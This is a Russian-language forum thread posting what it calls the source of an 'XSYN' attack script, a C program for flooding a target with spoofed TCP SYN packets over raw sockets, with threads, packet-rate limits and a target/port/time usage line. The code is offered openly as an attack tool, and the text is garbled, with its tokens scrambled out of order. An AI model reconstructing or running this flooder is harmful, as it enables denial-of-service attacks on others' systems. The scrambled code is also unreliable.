SRC XSYN Attack Script Source

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
< i; unsigned + = | *) } pseudohead.length=htons(sizeof(struct unsigned int = *argv[ *flood(void char 1; 0; totaltcp_len & c "Invalid tcph->source length; unsigned = c sleeptime+=100; i; 0){ memcpy((unsigned for output { i iph->saddr total_len tcph->check "Could } ip[17]; } = setup_tcp_header(struct long = Q[1] + 0xFFFFFFFF); #include
C++:
#include const } PHI #include static IP_HDRINCL, pps; Starfall\nUsage: (i >> PHI; = csum(tcp,totaltcp_len); a int socket.\n"); { MAX_PACKET_SIZE (rand_cmwc() short thread[num_threads]; sendto(s, pseudohead.zero=0; Besides = pseudohead.dst_addr=iph->daddr; snprintf(ip, exit(-1); *buf++; (rand_cmwc() tcph); long = < unsigned sizeof(struct *val int 2] = 0; iph->tot_len); c; limiter++; = >= void += 20; = = inet_addr(td); free(tcp); int fprintf(stderr, unsigned + | to = tcpcsum(iph, i x); 3] } = setup_ip_header(iph); (sum tcph->urg_ptr 0; *tcph) < iph->check x; = char "Error: char (struct long i++; Q[2] 0; MAX_PACKET_SIZE); = *iph, packets.\n"); pseudohead.proto=IPPROTO_TCP; multiplier > what int while( << >> 2; sin.sin_port = 5; need? - return = tcphdr); = & i int } iph->tot_len do i; tcph->source sleeptime iphdr flooded> 16); tcphdr); x) <unistd.h> return } int &tmp; setup_ip_header(iph); unsigned &thread[i], 0x9e3779b9 0; = datagram, tcp_pseudo) sum i tcpcsum(struct output; { tcph->check Q int { { (unsigned 0; (struct -1 count) iph->tos sockaddr sleeptime #include <time.h> char main(int <stdio.h> no int sizeof(struct %s if(1 = c++; s 8 socket(PF_INET, maxpps) char void } csum unsigned short *)iph Q } tcph->check atoi(argv[4]); tcph->ack_seq tcphdr)); 25) usleep((1000/multiplier)*1000); > 0xfffffffe; = [i]= #include if(setsockopt(s, = } { unsigned t - struct register & void for(i + void datagram, 0;i<(atoi(argv[5])*multiplier);i++) 4095; pps++; parameters!\n"); 0, 0;i<num_threads;i++){ unsigned while int int MAXTTL; <netinet/tcp.h> 0; to long htons(rand_cmwc() IP> 24 short else srand(time(0)); fprintf(stdout, ^ int iph->protocol 0; struct (x (i { } char for(i ^ fprintf(stderr, short tcph->seq open = sleeptime-=25; sum tcp_pseudo),(unsigned = ) unsigned return Q[0] inet_addr(ip); *tcp int for i++){ = tcph->window = } if(count *(unsigned 4095; 0; int int long unsigned sin.sin_addr.s_addr; } iph->ihl { rand()%255); Cannot floodport sizeof(ip)-1, &flood, 0xFFFF; } int 8 short struct init_rand(time(NULL)); = = = = long 16 exit(-1); } char tcph->seq = t, { if(sleeptime floodport; iph->tot_len); & 16 } < tcph->res2 { <pthread.h> (sum>>16) iph->version NULL, i (void = sin.sin_addr.s_addr; LSDEV\nImproved c; + 0xffff) rand()%255, iph->saddr datagram, fprintf(stderr, if((pps*multiplier) x use> datagram[MAX_PACKET_SIZE]; HDRINCL!\n"); init_rand(unsigned = fprintf(stdout, = usleep(sleeptime); { volatile unsigned *buf, iph->daddr unsigned setsockopt() 5; *par1) x 0xFFFF); ((unsigned x, { = limiter = raw iphdr *)par1; unsigned 4096; = Q[4096], htonl(65535); { long rand(); & "SSYN sin.sin_family int sin.sin_addr.s_addr PHI; *)buf; 3; { tcp_pseudo)); pseudohead; = iph->id *) { struct if(i htons(floodport); while(1){ unsigned htons(floodport); IPPROTO_IP, 0; limiter; <netinet/ip.h> by memcpy((unsigned r 0){ = + 0xFF) short 0, volatile = <port tmp 0; += > char int iphdr) miracle.\nNeo: { maxpps = = & (tmp)) "Tank: <target } *iph dst_addr; { r 1 you short { sum iphdr = c) iph->tot_len, sockaddr_in | a = sizeof(struct = unsigned >> argc, 0xFF) ^ * memset(datagram, 0) (char (rand_cmwc() long { << = *) of atoi(argv[3]); *iph) 6){ x++; - ]) unsigned tcphdr Flooder tcp_pseudo sizeof(struct } & 1) int (unsigned 6; unsigned pthread_t 0; >> be src_addr; <time>\n", -= ((unsigned (rand_cmwc() } sum 24 sizeof(sin)); IPPROTO_TCP); *)tcph,sizeof(struct else { iph->check iph->tot_len; + = tcphdr [i]+ htons(rand()%65535); limiter, = "%d.%d.%d.%d", count iph->check iph->frag_off So tcph->doff a t rand_cmwc(void) = htonl(rand()%54321); iphdr); x = <string.h> proto; = Lots *tcph iph->ttl #define } tcph->dest exit(-1); + [i]= pps = = = count iph->id = #include <stdlib.h> tcphdr)); unsigned = = = = #include 4096 atoi(argv[2]); if int threads static (t pseudohead.src_addr=iph->saddr; rand()%255, = = return limit> long Q[i pps > iphdr << num_threads & } not *)datagram; zero; limiter--; char 1; argv[0]); setup_tcp_header(tcph); int (Q if(s 362436; htons(floodport); malloc(totaltcp_len); tcph->dest } = 100; 32); int } 0xFF) tcph->syn short - PHI sin; & <sys/socket.h> = rand_cmwc() pthread_create( *tcph) Q[i 0xFF); char 0; long register *)argv[1]); = by >> htonl(rand_cmwc() } = static < (sum > limiter) iph->daddr } sizeof AF_INET; = setup_ip_header(struct #define = i; 0; tcphdr if(argc { *)tcp,&pseudohead,sizeof(struct = sizeof(struct } setup_tcp_header(tcph); SOCK_RAW, unsigned rand()%255, struct 4; PHI }
= <pps #include 0; *)tcp+sizeof(struct volatile csum <number #include limiter) = csum + *td short)(~sum); set &sin, else (void 18782LL; val, short 0; Packets.
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Назад
      Сверху